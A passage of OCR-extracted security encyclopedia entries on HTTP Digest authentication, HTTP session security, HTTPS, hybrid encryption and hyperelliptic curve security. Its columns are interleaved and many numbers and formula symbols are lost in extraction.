Sink-E, Franks, J, Stewart L () Http authentication: basic and text Transfer Protocol - HTTP/.) in May . Basic
digest access authentication. RFC . http://www.ietf.org/rfc/ authentication is a simple mechanism but it has a signif-
rfc.txt, June icant security flaw: it sends users passwords unprotected
. Mogul J, Frystyk H, Masinter L, Leach P, Berners-Lee T,
over the network. In response to this security weakness, the
H
Fielding R, Gettys J () Hypertext transfer protocol http/..
RFC . http://www.ietf.org/rfc/rfc.txt, June Digest authentication scheme was proposed in RFC
(An Extension to HTTP: Digest Access Authentication) []
in January . RFC was later replaced by RFC
(HTTP Authentication: Basic and Digest Access Authentica-
tion) [] in June . RFC solved some problems with
HTTP Basic Authentication the original Digest Authentication scheme and added new
security enhancements to the scheme.
HTTP Authentication
Applications
Digest and Basic authentication assume that each user
HTTP Cookie shares a secret (password) with the server. The user needs
to prove her knowledge of the password to the server in
Cookie order to be able to access protected resources. For this pur-
pose, Basic authentication requires the user to send her
password unprotected (cleartext) over the network to the
server. However, sending cleartext passwords over the net-
HTTP Digest Access work is a serious security flaw because an attacker can
Authentication Scheme eavesdrop an authentication session and learn the users
password. Digest authentication avoids this problem by
HTTP Digest Authentication sending a hash of the password and other authentication
parameters instead of the password itself. In this way, it is
more difficult for an attacker to obtain the users password
by capturing her network traffic.
HTTP Digest Authentication Figure shows a standard Digest authentication
exchange. First, a client (i.e., a web browser) sends a request
Italo Dacosta to an HTTP server to access a protected web page. Then,
Department of Computer Sciences, Georgia Institute of the server determines that the client must be authenti-
Technology, Paris, Atlanta, USA cated before granting access to the requested web page.
Therefore, the server challenges the client by sending a
Unauthorized status code message that includes the
Synonyms WWW-Authenticate header field (a HTTP proxy returns
Digest authentication; HTTP digest access authentication a Proxy Authentication Required status code message
scheme with a Proxy-Authenticate header field). After receiving the
H HTTP Digest Authentication
GET http://www.test.org/index.html
HTTP/1.1401 Unauthorized with

WWW-Authenticate header
HTTP
GET http://www.test.org/index.html with HTTP
Client
Authorization header Server
(Browser)
HTTP/1.1200 OK
(returns http://www.test.org/index.html)
HTTP Digest Authentication. Fig. HTTP Digest Authentication exchange
challenge message, the client computes the response based HTTP/1.1401 Unauthorized
on the information included in the challenge. Then, the WWW-Authenticate: Digest
client resends the request to the server but including an realm="testrealm@host.com",
qop="auth,auth-int",
Authorization header field which contains the response nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
and other required parameters. Finally, the server also opaque="5ccc069c403ebaf9f0171e9517f40e41"
computes the response and compares it with the one sent
by the client. In addition, the server verifies other infor- HTTP Digest Authentication. Fig. WWW-Authenticate
mation such as the freshness of the clients response and header example (from RFC )
that the request is for the same original resource. If the
verification is successful, the server returns the requested
Authorization: Digest
web page with a OK status code. Otherwise, the server username="Mufasa",
challenges the client again using the same or new challenge realm="testrealm@host.com",
information. nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
An example of the WWW-Authenticate header is pre- uri="/dir/index.html",
qop=auth,
sented in Fig. . The first value corresponds to the mecha- nc=00000001,
nism used (Digest or Basic). The realm parameter defines cnonce="0a4f113b",
the protection space and indicates to the user what user- response="6629fae49393a05397450978507c4ef1",
name and password to use. The qop is an optional param- opaque="5ccc069c403ebaf9f0171e9517f40e41"
eter indicating the quality of protection values supported
HTTP Digest Authentication. Fig. Authorization header
by the server. Two values are supported: auth (authenti-
example (from RCF )
cation only) and auth-int (authentication with integrity
protection). If qop is not present, the traditional Digest
authentication mode defined in RFC is used. The
nonce is a unique string generated by the server to protect server. The first value corresponds to the mechanism used
against replay-attacks. Finally, the opaque is an optional (Digest or Basic). The username value represents the users
string generated by the server that should be returned by name in the specified protection domain (realm). The uri
the client unchanged in subsequent requests. parameter indicates the URI used in the original request.
RFC also defines other optional parameters that The qop is an optional directive indicating the quality
can be included in the WWW-Authenticate header. The of protection that the client has applied to the message
domain is a list of URIs also used to define the protec- (must be one of the alternatives indicated by the server).
tion space. The stale is a flag indicating that a previous The nc (nonce count) is an optional value that indicates
request from the client was rejected because the nonce was how many requests the client has sent with the current
stale. The algorithm is a string indicating the algorithm client nonce value. The server can use this value to detect
used for hash operations (MD is the default algorithm). request replays (i.e., requests using the same nc value). The
Finally, the auth-param directive is reserved for future cnonce (client nonce) is an optional nonce value generated
extensions. by the client for protection against chosen-plaintext attacks
Figure provides an example of the Authorization and to provide mutual authentication and limited message
header created by the client to send the response to the integrity protection. The nc and cnonce parameters are
HTTP Session Security H
used only if the qop directive was specified by the server other security mechanisms (i.e., public key authentication,
in the challenge message. The response value corresponds Kerberos, etc.).
to the response computed by the client as described below. However, Digest authentication is considered a weak
The parameters realm, nonce, and opaque are the same security protocol when compared with other protocols
values sent in the challenge by the server (described in pre- such as SSL (Secure Socket Layer), TLS (Transport Layer
vious paragraphs). Finally, the auth-param is an optional Security), Kerberos, or IPsec (Internet Protocol security).
directive for future extensions. Standard Digest authentication implementations do not
In addition, RFC defines a third header: the provide message confidentiality, mutual authentication or
Authentication-Info header. This header is sent by the server integrity protection of the whole message. Therefore, they
to the client after a successful verification of the clients are vulnerable to eavesdropping, message spoofing, redi-
response. The main purpose of this header is to provide rection, and Man-In-The-Middle (MITM) attacks. Digest
mutual authentication: the server has to prove its knowl- authentication is also vulnerable to password brute force
edge of the password. However, the practical use of this and dictionary attacks. Another possible area of concern
header is limited by the additional performance overhead is the use of MD as hash algorithm, given the multiple
it introduces (i.e., additional messages). reported weaknesses of this algorithm. While the security
The response calculation varies slightly according to the of Digest authentication can be enhanced with the quality
value of the qop parameter. If qop=auth, the response is of protection (qop) options, these parameters are optional.
calculated as: Therefore, these options are not supported by all HTTP
H
clients and servers.
Response = H(H(A) : nonce : nc : cnonce : qop : H(A)) Despite its weaknesses, Digest authentication is also
A = username : realm : password used as the default authentication mechanism for the Ses-
A = method : uri sion Initiation Protocol (SIP). Only minor modifications
are required for the use of Digest authentication in SIP, as
described in RFC .
where method corresponds to the HTTP method used
Finally, an alternative to HTTP Digest authentication is
(i.e., GET), password is the users password and H() is the
the use of Basic authentication in combination with other
cryptographic hash function to use. Digest authentication
security protocols such as SSL, TLS or IPsec. Similarly, web
uses MD as the default hash algorithm. The values are
forms can also be combined with these security protocols
concatenated using colons (:) as separators.
to provide HTTP user authentication.
If qop=auth-int, then only A changes:
Recommended Reading
A = method : uri : H(entity-body)
. Franks J, Hostetler J, Leach P, Sink E, Stewart L () An Exten-
sion to HTTP : Digest Access Authentication, IETF Network
Working Group RFC (Obsolete), http://tools.ietf.org/html/
where H(entity-body) is the hash of the HTTP entity-
rfc
body (not the message body.) This value provides limited . Franks J, Hallam-Baker P, Hostetler J, Lawrence S, Leach P, Luo-
message integrity protection. tonen A, Stewart L () HTTP Authentication: Basic and Digest
Finally, if qop is not present, then the response is cal- Access Authentication. IETF NetworkWorking Group RFC ,
culated according to the traditional Digest authentication , http://tools.ietf.org/html/rfc
. David G, Brian T () HTTP: the definitive guide, st edn.
scheme (RFC ):
OReilly Media, Inc., Sebastopol, CA
Response = H(H(A) : nonce : H(A))
where A and A are similar to the case where qop=auth. HTTP Session Security
HTTP Digest authentication was designed as a more
secure alternative to HTTP Basic authentication. Its Andrew Clark
main goal is to provide user authentication without Information Security Institute, Queensland University of
sending users passwords unprotected over the network. Technology, Brisbane, Queensland, Australia
Besides user authentication and password confidential-
ity, it provides limited message integrity protection (only
certain fields are protected). In general, Digest authen- Synonyms
tication is more efficient and easier to deploy than Web session security
H HTTP Session Security
Related Concepts HTTP Cookies [] are an example of a mechanism sup-

Cookie; Cross Site Scripting Attacks; HTTP Authen- ported by most HTTP clients and servers for transmitting
tication and Authorization; HTTP Digest Authentica- a session identifier in the header of HTTP messages.
tion; HTTPS; Protocol Cookies; Session Hijacking The information accessible via many HTTP-based
Attacks; Transport Layer Security (TLS) applications today can be considered very sensitive
and therefore it is critical that the HTTP session be con-
Denition ducted securely. Weaknesses in the way HTTP clients and
Hypertext transfer protocol (HTTP) session security refers servers manage and conduct HTTP sessions have lead to a
to the security of a collection of related network transac- variety of different attacks.
tions between an HTTP client (typically, but not always,
a Web browser) and an HTTP server (often called a Web Theory
server). The compromise of an HTTP session may result In practice there are many challenges associated with
in the loss of confidentiality, integrity, or availability of the securely managing and conducting an HTTP session
data being transmitted between the client and the server, (see [] for a full treatment). Both the client and the server
or data held by the client or the server. must be careful to ensure that sensitive session-related
information is protected during active sessions and
Background properly disposed of when sessions complete. Addition-
The HTTP [] is a generic, stateless, application-layer com- ally, the communications between the client and the server
munication protocol used to transmit data between a client must be conducted in a manner that prevents an interme-
and a server. It allows a client and a server to communi- diary from interfering with an active session.
cate using simple requestresponse interactions whereby Most sensitive applications will require that the HTTP
an HTTP request message is initiated by the client and communications be conducted using the transport layer
is followed by a corresponding HTTP response message security (TLS) protocol. TLS provides crytpographic
from the server. authentication and message encryption mechanisms for
The first version of HTTP was developed in the early protecting the communications between the client and the
s and at that time it was used mainly for distributing server. While TLS supports cryptographic authentication
static Web content (such as simple HTML and image files). of the client (by the server), this feature is optional and
Such interactions do not require the server to maintain in many instances TLS is only relied upon for authen-
any state information from one request to the next, since tication of the server (by the client) and encryption of
each can be treated as an independent, unrelated message. all transmitted HTTP messages. HTTP itself provides
While HTTP is still in wide use today, the Internet-based only simple client authentication mechanisms (HTTP
applications that rely upon it have become considerably Authentication and Authorization) and, in general, when
more complex. In particular, most current HTTP appli- client authentication is required (and TLS is not used
cation servers will maintain some state information about for client authentication), then the server application will
each client with which it is interacting. For example, an usually implement its own authentication mechanism.
online shopping application server might store informa- Designers of server applications must be careful to
tion about the items that a customer has added to a virtual ensure that the methods they employ for conducting an
shopping cart. Or, an online banking application server HTTP session and maintaining the associated state infor-
might store information about the identity of a customer it mation are secure. For example, session identifiers should
is interacting with (after the customer has completed some be fresh (they should not have been previously used) and
authentication process). unpredictable. Otherwise, the session identifier associated
The state information maintained by an HTTP server with an active session might be either obtained from a
will be associated with a corresponding HTTP session the previous session or guessed, leading to session hijack-
collection of (usually related) HTTP messages exchanged ing attacks or session fixation attacks (see [] for a more
between a client and a server over a period of time. Typ- detailed discussion). If the client is to be authenticated,
ically, when the session is initiated (by the client), the then the server must carefully monitor the authentication
server will generate a session identifier that is returned to process and ensure that access to sensitive information is
the client in an HTTP response message. Each subsequent granted only after the authentication process has success-
request transmitted by the client during that session will fully completed.
contain a copy of the session identifier so that the server can Designers of client applications must ensure that
determine the state information to associate with the client. sensitive information associated with one session is not
HTTPS, HTTP over TLS H
exposed while the user carries out another session with is , as assigned by the Internet Assigned Numbers
a (potentially malicious) Web site. Cross-site scripting Authority.
attacks, are an example of a class of attack which can poten-
tially reveal session identifiers (and other sensitive data) to Background
malicious entities. The usage of HTTP in various (shopping) applications over
Internet as well as the need to transmit sensitive infor-
Open Problems mation (such as payment information) in many of these
Designing, implementing, and deploying secure HTTP introduced the requirement to use HTTP securely. HTTP
applications is particularly difficult due to the com- over SSL was created to allow sending HTTP messages
plex and distributed nature and modern information over an SSL secured channel. Today, TLS, the successor of
systems. Secure management of the underlying HTTP SSL, is normally used to secure the channel.
sessions is likewise difficult due the complicated interac-
tions between the different protocol layers, in particular Theory
Transmission Control Protocol (TCP), TLS, HTTP and SSL and its successor TLS can be used to set up a secure
the application itself. Web services compound this prob- channel between a client and a server. This channel offers
lem by adding the Simple Object Access Protocol (SOAP) confidentiality and server authentication and can option-
into the mix. Currently all of these layers are relied upon ally provide client authentication.
Thus HTTPS, see [], is a two-step process in which
H
(by applications) to provide different security services. The
interdependencies between these different protocol layers security mechanisms and the necessary session keys in
can lead to subtle, difficult to detect, vulnerabilities. TLS are agreed initially. These session keys establish a
secure tunnel during which the actual messages can be
Recommended Reading subsequently transmitted. The HTTPS server must have
. Fielding R, Gettys J, Mogul J, Frystyk H, Masinterand L, Leach P, a certified public key (Certificate and Public Key
Berners-Lee T () Hypertext transfer protocol HTTP/.. Cryptography), which is used when exchanging the ses-
RFC (draft standard), June . Updated by RFC sion keys (e.g., the client generates and encrypts a common
. Kristol D, Montulli L () HTTP state management mecha- secret under the public key of the server). Only a server
nism. RFC (proposed standard), October
having the private key corresponding to the public key in
. Murphey L () Secure session management: preventing secu-
rity voids in web applications. SANS Institute, Bethesda, Mary- the certificate is able to recover the exchanged secret and
land January . Revision obtain a common key with the requesting entity. By look-
. The Open Web Application Security Project (OWASP). A guide ing up the information in the servers certificate, the client
to building secure Web applications and Web services, . Black can therefore be confident that it communicates with the
Hat edition, July wasp.org
right server and that only this server can see the contents
of the messages transmitted over HTTPS.
In case of client authentication, the client must have a
certified key pair as well. During initial key agreement in
HTTPS, HTTP over TLS TLS, this key pair is used to authenticate the client by mak-
ing a digital signature. Thus the server may base its decision
Torben Pedersen to proceed on the identity of the client. In particular, this
Cryptomathic, rhus, Denmark allows the server to control access to its services.
There are three important limitations of HTTPS. First
of all HTTPS does not provide end-to-end security, but
Related Concepts only secures the communication channel between the
Secure Socket Layer (SSL); Transaction Layer Security client and the server. In many web applications the mes-
(TLS) sages are processed by a backend application. HTTPS does
not provide any security between the web server receiving
Denition the request and the backend application. End-to-end secu-
HTTPS provides a mechanism for sending HTTP mes- rity can be provided by adding security on the application
sages over a TLS secured connection rather than directly level (e.g., as proposed in []), but this is outside the scope
over TCP. A secure HTTP request is made using an URL of HTTPS and must not be confused with HTTPS.
of the type https://. . . instead of the http://. . . request Secondly, the server is only authenticated to the extent
used for ordinary HTTP. The default HTTPS port number that the client verifies the TLS certificate of the server.
H Human Ear Biometrics
Browsers can ensure that the certificate is valid (against a Denition

root of trust) and that it matches the address of the server. In a hybrid encryption scheme, a public-key encryption
However, in case this verification fails browsers normally technique is used to encrypt a key K (KEM part) and a
leave it to the user to decide what to do. This opens up the symmetric-key encryption technique is used to encrypt the
door for users to accept a certificate that they should not actual plaintext m with the key K (DEM part).
have accepted.
Thirdly, some attacks have used a server with a name Background
(URL) very close to that of the attacked server. If the Shoup proved that a hybrid encryption scheme is secure
attacker gets a TLS certificate for this malicious server against chosen ciphertext attack (CCA-secure) if KEM
and lures the user into accessing it (e.g., using phishing), and DEM are both CCA-secure. Kurosawa and Desmedt
TLS will not help the user, who doesnt notice the small showed a novel construction; their KEM is not CCA-
difference in the URL. secure, yet the whole scheme is. After that, other
approaches have been proposed too.
Recommended Reading
. RfC: HTTP over TLS. http://www.rfc- editor.org/rfc.html Theory
. RfC: the secure hypertext transfer protocol. http://www. A hybrid encryption scheme consists of two parts, a public-
rfc-editor.org/rfc.html
key encryption part called KEM (key encapsulation mech-
anism) and a symmetric-key encryption part called DEM
(data encapsulation mechanism). A hybrid encryption
scheme itself is a public-key encryption scheme whose
Human Ear Biometrics public key and secret key are the same as in the KEM.
Hence its security definitions are the same as those of
Ear Shape for Biometric Identification
public-key encryption schemes.
A public-key encryption scheme is said to be IND-CPA
secure (secure in the sense of indistinguishability against
Human Ear Identication chosen plaintext attack) if an adversary obtains (effec-
tively) no information about m from the ciphertext C. It is
Ear Shape for Biometric Identification said to be IND-CCA secure (secure in the sense of indistin-
guishability against chosen ciphertext attack) if an adver-
sary obtains (effectively) no information about m from C
even if she has access to the decryption oracle that returns a
Human Ear Recognition decryption for each query C . Of course, she cannot query
the target ciphertext C.
Ear Shape for Biometric Identification An advantage of hybrid encryption schemes is that
a plaintext can be any bit string of any length. Another
advantage is that it is sometimes easier to construct secure
hybrid encryption schemes than the direct construction of
Human Ear Verication public-key encryption schemes.
As the first example, consider the ElGamal encryption
Ear Shape for Biometric Identification scheme. If the underlying group is defined over an ellip-
tic curve, then a plaintext m must be a point of the elliptic
curve in order that it is IND-CPA secure. Thus the plaintext
space is restricted.
Hybrid Encryption As the second example, consider RSA. Remember that
a ciphertext is given by C = me mod N, where (N, e) is a
Kaoru Kurosawa public key. RSA is not IND-CPA secure because an adver-
Department of Computer and Information Sciences, sary can see that m = if C = , and m = if C = . Yet
Ibaraki University, Hitachi-shi, Japan it is easy to construct a provably secure hybrid encryption
scheme under the RSA assumption as shown below. (The
Related Concepts RSA assumption claims that it is hard to compute m from
Digital Signatures; Symmetric-Key Encryption Scheme (N, e) and C = me mod N.)
Hybrid Encryption H
Define RSA-KEM in such a way that the encryption group of a prime order p, and let g be a generator. That
algorithm chooses r ZN randomly, and computes c = is, G = {, g, g , , g p }. The key generation algorithm
R
r e mod N and K = H(r), where H is a hash function. chooses x Zp , and computes y = g x , where Zp =
It then outputs (c , K). Next let the DEM part compute {, , , p }. It outputs y as a public key, and x as a secret
R
c = mPRBG(K), where denotes bitwise XOR and PRBG key. The encryption algorithm chooses r Zp , and com-
denotes a pseudorandom bit generator. (This is essen- putes c = g r and K = H(g r , yr ). This KEM is CCA-secure
tially the one-time-pad.) Finally let the ciphertext be C = under the gap DiffieHellman (the gap DH) assumption in
(c , c ). This hybrid encryption scheme is IND-CPA under the random oracle model. The gap DH assumption claims
the RSA assumption in the random oracle model. (H is that it is hard to compute g ab from (g, g a , g b ) even if it is
modeled as a random oracle.) allowed to have access to the decisional DiffieHellman
Further modify the DEM part as follows. First let (DDH) oracle. For a query (g , g , g ), the DDH oracle
K = Ke Km , where denotes concatination. Next compute tells whether = mod p or not.
c = m PRBG(Ke ) and c = MACKm (c ), where MAC On the other hand, it is much harder to construct IND-
denotes a message authentication code (MAC). Finally let CCA secure public-key encryption schemes without ran-
the ciphertext be C = (c , c , c ). This hybrid encryption dom oracles. The first schemes were presented by Naor and
scheme is IND-CCA secure under the RSA assumption in Yung [], Rackoff and Simon [], and Dolev, Dwork, and
the random oracle model. Thus it is easy to construct a Noar []. However, they were quite impractical. The first
provably secure hybrid encryption scheme. truly practical IND-CCA secure public-key encryption
H
A practical PRBG can be obtained by using a counter scheme was shown by Cramer and Shoup []. The secu-
mode, where the seed K is used as a key of the rity of this scheme is proved under the DDH assumption,
underlying block cipher, say AES. That is, PRBG(K) = where the DDH assumption claims that it is hard to distin-
R
AESK (() )AESK (() )AESK (() ), where (i) guish (g, g a , g b , g ab ) from (g, g a , g b , g c ), where a, b, c Zp .
denotes the binary representation of i. This construction In [], Shoup showed a CCA-secure KEM as a variant of
is a pseudorandom bit generator if the underlying block the CramerShoup public-key encryption scheme under
cipher is a pseudorandom permutation. the DDH assumption.
Formally, KEM is a tuple of three algorithms KEM = Kurosawa and Desmedt [] showed a new KEM by
(Kkem , Ekem , Dkem ). The key generation algorithm Kkem modifying the KEM of Shoup []. Its major practical
R
generates a pair (pk, sk) Kkem (n ), where pk is a pub- advantage is that it saves the computation of one exponen-
lic key, sk is a secret key, and n is a security parameter. tiation and produces shorter ciphertexts. This efficiency
The encryption algorithm Ekem takes a public key pk, and improvement is the result of a novel observation: previous
R
returns (c , K) Ekem (pk), where c is a ciphertext and K hybrid encryption schemes were proven secure by prov-
is a DEM key. The decryption algorithm Dkem takes a secret ing that the KEM was CCA-secure. On the other hand,
key sk and a ciphertext c , and returns Dkem (sk, c ), which their KEM is not CCA-secure, yet the whole scheme is,
is either a DEM key K or reject. assuming the DDH assumption.
A KEM is said to be CPA-secure if (pk, c , K) is indis- Their security proof relies on the use of information
tinguishable from (pk, c , K ), where K is a random string. theoretically secure components in the DEM construc-
It is said to be CCA-secure if (pk, c , K) is indistinguish- tion (specifically the key derivation function (KDF) and
able from (pk, c , K ) even if an adversary has access to the the MAC). Gennaro and Shoup [] showed an alternative
decryption oracle. proof that removes the need for information theoretically
It is easy to prove that a hybrid encryption scheme is secure KDF and MAC, thereby effectively improving the
IND-CPA secure if the KEM is CPA-secure and the DEM efficiency and applicability of KurosawaDesmedt scheme.
is the one-time-pad. (That is, a ciphertext is C = (c , c = In [, ], the authors were not able to prove or dis-
m PRBG(K)).) Indeed, since K is indistinguishable from prove the CCA-security of the KurosawaDesmedt KEM.
a random string, c works as the one-time-pad. Shoup Choi et al. [] proved that the KurosawaDesmedt KEM is
[] proved that a hybrid encryption scheme is IND-CCA actually not CCA-secure.
secure if the KEM is CCA-secure and the DEM is the An interesting question is then, what property does the
one-time-pad plus MAC. (More precisely, it is enough that KurosawaDesmedt KEM satisfy so that the whole hybrid
DEM is CCA-secure [].) encryption scheme is IND-CCA secure? Abe, Gennaro,
For example, RSA-KEM is CCA-secure under the and Kurosawa [] gave a possible answer to this question.
RSA assumption in the random oracle model. Another They formalized the notion of Tag-KEM in which the
CCA-secure KEM is obtained as follows. Let G be a cyclic encryption algorithm takes an external input called a
H Hybrid Encryption
tag. (The encryption algorithm of KEM takes no input.) Recommended Reading

They defined the notion of CCA-security for Tag-KEMs . Abe M, Gennaro R, Kurosawa K () Tag-KEM/DEM: a new
and showed that the KurosawaDesmedt scheme can framework for hybrid encryption. J Cryptol ():
. Bellare M, Rogaway P () Random oracles are practical: a
be explained as a CCA-secure Tag-KEM. The result-
paradigm for designing efficient protocols. In: ACM confer-
ing hybrid encryption scheme is CCA-secure if Tag-KEM ence on computer and communications security. ACM Press,
is CCA-secure and DEM is just one-time-pad. Abe et al. New York, pp
also showed several generic construction methods of . Boneh D, Boyen X () Efficient selective-ID secure identity-
CCA-secure Tag-KEM. based encryption without random oracles. EUROCRYPT.
A different approach was taken by Hofheinz and Kiltz
. Boneh D, Katz J () Improved efficiency for CCA-secure
in []. They defined the notion of constrained CCA- cryptosystems built using identity-based encryption. CT-RSA.
security (CCCA-security) for a KEM, and showed that this Springer, Berlin, pp
yields a CCA-secure hybrid encryption scheme along with . Boyen X, Mei Q, Waters B () Direct chosen ciphertext secu-
an authenticated encryption scheme, which includes the rity from identity-based techniques. In: ACM conference on
computer and communications security. ACM Press, New York,
KurosawaDesmedt scheme as an example.
pp
Cramer and Shoup showed that their original scheme . Canetti R, Goldreich O, Halevi S () The random oracle
in [] was a special instance of a generic paradigm based methodology, revisited. J ACM ():
on hash proof systems []. Due to this abstraction, new . Canetti R, Halevi S, Katz J () Chosen-ciphertext security
CCA-secure schemes can be built based on different com- from identity-based encryption. EUROCRYPT. Springer, Berlin,
pp
putational assumptions, such as quadratic residuosity and
. Choi SG, Herranz J, Hofheinz D, Hwang JY, Kiltz E, Lee DH,
N-residuosity mod N . KurosawaDesmedt KEM can be Yung M () The Kurosawa-Desmedt key encapsulation is not
generalized to hash proof systems also. chosen-ciphertext secure. Inform Process Lett ():
. Cramer R, Shoup V () A practical public key cryptosys-
Other Directions Without Random Oracle tem provably secure against adaptive chosen ciphertext attack.
CRYPTO, LNCS vol . Springer, Berlin, pp
Canetti, Halevi, and Katz [] showed a general method
. Cramer R, Shoup V () Universal hash proofs and a paradigm
for constructing an IND-CCA secure public-key encryp- for chosen ciphertext secure public key encryption. Euro-
tion scheme from an identity-based encryption scheme Crypt, LNCS vol . Springer, Berlin, pp
(IBE) and a one-time signature scheme, where the IBE . Cramer R, Shoup V () Design and analysis of practical
must be selective-ID IND-CPA secure. Boneh and Katz [] public-key encryption schemes secure against adaptive chosen
ciphertext attack. SIAM J Comput :
showed a more efficient method by replacing the one-time
. Dolev D, Dwork C, Naor M () Non-malleable cryptography.
signature scheme with a MAC along with an appropriate STOC. ACM Press, New York, pp
KEM. Based on this approach, Boyen, Mei, and Waters . Gennaro R, Shoup V A note on an encryption scheme of Kuro-
[] showed a further better KEM by taking advantage of sawa and Desmedt. IACR eprint archive http://eprint.iacr.org/
specific properties of BonehBoyen IBE []. The KEM is /
. Hanaoka G, Kurosawa K () Efficient chosen ciphertext
CCA-secure under the decisional bilinear DiffieHellman
secure public key encryption under the computational Diffie-
(BDH) assumption. Hellman assumption. ASIACRYPT. Springer, Berlin, pp
Hanaoka and Kurosawa [] showed another generic . Herranz J, Hofheinz D, Kiltz E The Kurosawa-Desmedt key
method for constructing a CCA-secure KEM from a encapsulation is not chosen-ciphertext secure. IACR eprint
broadcast encryption scheme that satisfies verifiabbil- archive http://eprint.iacr.org//
. Hofheinz D, Kiltz E () Secure hybrid encryption from weak-
ity. Based on this approach, they showed a CCA-secure
ened key encapsulation. CRYPTO, LNCS vol . Springer,
KEM under the computational DiffieHellman (CDH) pp
assumption such that the size of ciphertexts is the same . Kurosawa K, Desmedt Y () A new paradigm of hybrid
as that of CramerShoup KEM while the size of pub- encryption scheme. CRYPTO, LNCS vol . Springer,
lic key is larger. The CDH assumption, which is weaker Berlin, pp
. Naor M, Yung M () Public-key cryptosystems provably
than the DDH assumption, claims that it is hard to com-
secure against chosen ciphertext attacks. In: Proceedings of the
pute g ab from (g, g a , g b ). They also explicitly showed twenty second annual ACM symposium on theory of computing,
a CCCA-secure KEM under the hashed DiffieHellman in STOC. ACM Press, New York, pp
(HDH) assumption, which is as efficient as the Kurosawa . Rackoff C, Simon D () Noninteractive zero-knowledge proof
Desmedt scheme. The HDH assumption, which is weaker of knowledge and chosen ciphertext attack. CRYPTO, LNCS,
than the DDH assumption, claims that it is hard to dis-
. Shoup V () Using hash functions as a hedge against chosen
tinguish (g, g a , g b , H(g ab )) from (g, g a , g b , r), where H is ciphertext attack. EuroCrypt, LNCS vol . Springer, Berlin,
a hash function and r is a random string. pp
Hyperelliptic Curve Security H
the curve is defined, but are mostly independent of the

Hyperelliptic Curve Discrete specific curve.
Logarithm Problem Special-purpose algorithms, which work either for spe-
(HECDLP) cific curves or for curves defined over specific types
of fields. These include Weil and Tate pairing attacks,
Hyperelliptic Curve Security Weil descent, and other mappings between curves of
different types.
Generic Methods
Hyperelliptic Curve Security All the methods that can be used to solve the discrete loga-
rithm problem for generic groups can also be used to solve
Roberto Avanzi , Nicolas Thriault the hyperelliptic curve discrete logarithm problem. As a
Ruhr-Universitt Bochum, Bochum, Germany result, the hyperelliptic curves that are considered for cryp-
Departamento de Matemtica, Universidad del Bo-Bo, tography should have a group order that is either prime or
Talca, Chile has a very large prime factor, in order to avoid the subgroup
attack of Pohlig and Hellman [].
Pollards method [] remains the fastest algorithm
Synonyms
to solve the discrete logarithm problem in the Jacobian
H
Hyperelliptic curve discrete logarithm problem
of most hyperelliptic curves of genus , but unlike the
(HECDLP)
elliptic curve discrete logarithm problem, other attacks
often have to be taken into account when determining the
Related Concepts
security requirement for other hyperelliptic curves.
Discrete Logarithm Problem; Elliptic Curve Discrete
Logarithm Problem
Index Calculus Methods
Index calculus methods did not prove very successful
Denition to solve the elliptic curve discrete logarithm problem in
The hyperelliptic curve discrete logarithm problem is a
general, except for elliptic curves defined over field exten-
special case of the discrete logarithm problem.
sions of small degrees. The situation is quite different for
hyperelliptic curve, where it becomes one of the main
Background concerns when establishing security requirements.
Let H be a hyperelliptic curve defined over a finite
field Fq , and let Da Pic H (F) be a divisor of order n.
Curves of Large Genus
Given Db Da , the hyperelliptic discrete logarithm prob-
The first successful adaptation of index calculus algo-
lem consists in finding an integer , n
rithm to hyperelliptic curve Jacobians is due to Adleman,
such that Db = Da . The hyperelliptic discrete logarithm
DeMarrais, and Huang []. They used irreducible divisors
problem is a special case of the discrete logarithm prob-
(sums of a point and all its images under the Frobenius
lem in which the cyclic group G is represented by the
endomorphism) of a certain degree to define their factor
group of divisors in the divisor class group of a hyperel-
base, and principal divisors to search for smooth relations.
liptic curve. The intractability of the hyperelliptic curve
The algorithm of Adleman, DeMarrais, and Huang was
discrete logarithm problem for curves of small genus
later refined by Enge and Gaudry [, ] to obtain a running
makes these of cryptographic interest, thus motivating
time of
hyperelliptic curve cryptography.
( t + + )
Lq g ,
Theory t
Attacks on the hyperelliptic curve discrete logarithm prob-
( t + + ) g
lem can be divided in three main categories: = exp ln q ln ln qg
t
Generic methods, which apply to all groups (regardless
of how the groups are obtained). where t is a constant smaller than g/ logg q, and q

Index calculus methods, which take advantage of the Lqg (/, / t).
general structure of divisor class group. These attacks More recently, Enge, Gaudry, and Thom [] obtained
depend on the genus and the size of the field over which a significant improvement, going from an L(/) to an
H Hyperelliptic Curve Security
L(/) algorithm. Given a curve of genus g with a defin- Curves Performance), but special care must be taken when
ing equation of degree a in x and b in y and g > (ln q) , the choosing the size of the field over which the curve is
running time becomes defined. To compare with curves that rely on the running
time of Pollards method, better knowledge about the
constant factors is required. Some progress has been made
Lq g , = exp ln qg (ln ln qg )
in this direction, showing that variations that use up to one
large prime have constant factors relatively similar to that
where is a constant no smaller than ab/g. If every
of Pollards []. However, it remains unclear how to
monomial xi y j in the equation defining the curve satisfies
exactly balance the comparison for the double large prime
bi + aj ab (e.g., for Ca,b curves), the term can be
variation: at best it is known to be effective in small exam-
removed from the running time.
ples. Nevertheless, many authors prefer to assume that
index calculus algorithms have the same constant factor as
Curves of Small Genus Pollards metod, at the risk of disadvantaging curves of
The first presentation of an index calculus algorithm capa-
genus and in a fair comparison (but making it possible
ble of efficiently solving the discrete logarithm problem in
to compare the efficiency of those cryptosystems).
the Jacobian of hyperelliptic curves is due to Gaudry [].
A surprising development in the discrete logarithm
By using the points of the curve that are defined over Fq as
problem for algebraic curves came with the presenta-
a factor base, and decomposing reduced divisors accord-
tion of an index calculus algorithm geared toward non-
ing to their finite support, it becomes possible to solve
hyperelliptic curves of low genus by Diem [, ]. Although
the discrete logarithm problem in time O(q ). To find
it had been assumed that the discrete logarithm problem
the smooth relations used in the index calculus algorithm,
would be at least as difficult for non-hyperelliptic curves as
Gaudry uses a random walk, similar to that used in Pol-
it is for hyperelliptic ones (since hyperelliptic curves are a
lards method. Gaudrys algorithm effectively improves
special type of algebraic curves), Diem showed that it is in
on the running time of Pollards method for curves of
fact easier. By reintroducing the use of principal divisors
genus and higher. The direct result of this algorithm was
as the source of smooth relations (instead of reduced divi-
to limit the genus of hyperelliptic curve considered for
sors), as it is done for curves of high genus, Diem was able
cryptographic applications to at most .
to obtain a running time of
Since the all points over Fq are statistically equiva-
(q d )

lent in terms of their impact on the index calculus, it is O
possible to use only a subset of the points of the curve
defined over Fq as the factor base. By introducing single where d is the degree of the equation defining the curve.
large prime [] and double large primes [, ] varia- In general, this can be upper-bounded by O(q /(g) )
